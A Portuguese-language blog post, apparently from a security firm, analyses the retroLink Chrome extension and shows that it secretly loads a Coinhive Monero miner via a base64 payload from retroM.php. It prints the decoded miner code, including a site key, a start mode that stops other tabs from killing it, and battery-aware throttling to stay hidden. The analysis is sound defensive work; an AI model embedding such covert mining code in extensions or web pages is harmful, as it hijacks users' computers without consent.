retroLink desprotetor de links minerando monero

Charles Lomboni
stolabs
Published in
2 min readMay 14, 2018

Em uma tarde ensolarada, fomos alertados sobre um incidente em um dos computadores da empresa. O time de Defensive Security analisou o caso e detectou um comportamento suspeito, ao analisar percebeu que se tratava de um tráfego de rede malicoso oriundo de uma extensão do Google Chrome. Com essas informações, iniciei a análise da extensão retroLink — que é um desprotetor de links. Quem não sabe muito sobre os “protetores de links”, sugiro a leitura.

Com a análise inicial achei algumas requisições suspeitas onde é possível ver o response do dns ws007.coinhive.com, utilizando o WireShark.

Para analisar melhor utilizei o Fiddler e logo percebemos algumas coisas bem interessantes:

  • 1 — Um get para o arquivo retroM.php feita pela extensão do browser da vítima;
  • 2 — Um httpResponseCode 200 do ws020.coinhive.com na porta 443;
  • 3 — Uma base64 duvidosa vindo do retroM.php.

Após decodar esse base64 temos o seguinte script:

Contando com a ajuda da documentação do coinhive, cheguei às seguintes conclusões:

  • 1 — Cria um novo miner passando o siteKey e inicia com apenas uma thread.

miner = new CoinHive.Anonymous(“tvCtC1O0jLGZJ6TWIIgdBxYQctUZtLdM”, {
threads: 1
});

Parâmetro FORCE_MULTI_TAB no miner.start: “The miner will always start. It will not announce its presence to other tabs, will not kill any other miners and can’t be killed by other miners. This mode is used by the captcha and shortlinks.”

miner.start(CoinHive.FORCE_MULTI_TAB);

SetThrottle define uma fração de tempo para o miner ficar ocioso. O getBattery, apesar de estar obsoleto, ainda é utilizado e como o próprio nome sugere pega informações sobre a bateria.

try {
navigator.getBattery().then(function (battery) {

if (!battery.charging) miner.setThrottle(0.6);

battery.onchargingchange = function (evt) {
if (battery.charging) miner.setThrottle(0);
else miner.setThrottle(0.6);

}

});
}catch(e){}

E o que temos aqui, senhores? Mais uma forma dos nossos “amiguinhos” sangue sugas se darem bem. Usando o SEU, o MEU, o NOSSO querido computador. Serve de dica para quem usa essa extensão ficar alerta!

PS .: Durante a análise minha maquina travou bonito, imagino o tanto de monero que estão fazendo nas nossas custas :(

--

--